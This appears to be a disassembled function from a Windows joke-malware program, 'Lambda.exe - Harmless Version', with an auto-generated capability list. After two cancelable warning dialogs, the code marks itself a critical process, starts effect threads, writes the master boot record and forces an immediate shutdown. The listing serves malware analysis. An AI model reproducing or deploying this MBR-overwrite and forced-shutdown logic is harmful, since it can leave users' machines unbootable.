Function at 0x403c61
Capabilities:
Create thread
Execute command
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], sym.__Z10msgBoxHookijl_12
mov dword [esp], 5
mov eax, dword [sym.imp.USER32.dll_SetWindowsHookExA]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [esp + 0xc], 0x31
mov dword [esp + 8], str.Lambda___Harmless_Version
mov dword [esp + 4], str.You_are_currently_running_a_HARMLESS_version_of_Lambda.exe__and_running_it_may_delay_your_valuable_time._nIf_you_have_accidentally_clicked_on_it__you_can_end_the_program_by_selecting_CANCEL__nor_if_you_prefer_to_run_the_program_regardless_of_any_risks__you_can_run_the_program_by_selecting_OK.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call eax
sub esp, 4
cmp dword [ebp - 0x10], 2
jne 0x403ce2
mov eax, 0
jmp 0x403ed5
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], sym.__Z10msgBoxHookijl_12
mov dword [esp], 5
mov eax, dword [sym.imp.USER32.dll_SetWindowsHookExA]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [esp + 0xc], 0x31
mov dword [esp + 8], str.Lambda___Harmless_Version
mov dword [esp + 4], str.Are_you_sure_you_want_to_run_the_program__nThis_is_an_unnecessary_thing_that_will_only_waste_your_time_and_effort._nIf_you_insist_on_running_the_program__you_can_select_the_OK_button__and_I_cant_stop_you_from_doing_so.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call eax
sub esp, 4
cmp dword [ebp - 0x18], 2
jne 0x403d5d
mov eax, 0
jmp 0x403ed5
mov ecx, 0x42704c
call method.Class_Func.InitDPI__
mov dword [esp], 0
call sym._time
mov dword [esp], eax
mov ecx, 0x42704c
call method.Class_Func.SeedXorshift32_unsigned_long_
sub esp, 4
mov dword [esp], 1
mov ecx, 0x42702d
call method.Class_Destruction.SetPriorityProcess_bool_
sub esp, 4
xor eax, 1
test al, al
je 0x403da8
mov eax, 0
jmp 0x403ed5
mov dword [esp], 1
mov ecx, 0x42702d
call method.Class_Destruction.SetCriticalProcess_bool_
sub esp, 4
xor eax, 1
test al, al
je 0x403dcd
mov eax, 0
jmp 0x403ed5
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.TimerThreadProc__
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.AudioThreadProc__
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.EffectThreadProc__
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov ecx, 0x42702d
call method.Class_Destruction.WriteMBRData__
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0
je 0x403ed0
mov dword [esp], 0
mov ecx, 0x42702d
call method.Class_Destruction.SetPriorityProcess_bool_
sub esp, 4
mov dword [esp], 0
mov ecx, 0x42702d
call method.Class_Destruction.SetCriticalProcess_bool_
sub esp, 4
mov ecx, 0x42702d
call method.Class_Destruction.ForceShutdown__
xor eax, 1
test al, al
je 0x403ed0
mov dword [esp], str.shutdown__s__t_0
call sym._system
mov eax, 0
leave
ret 0x10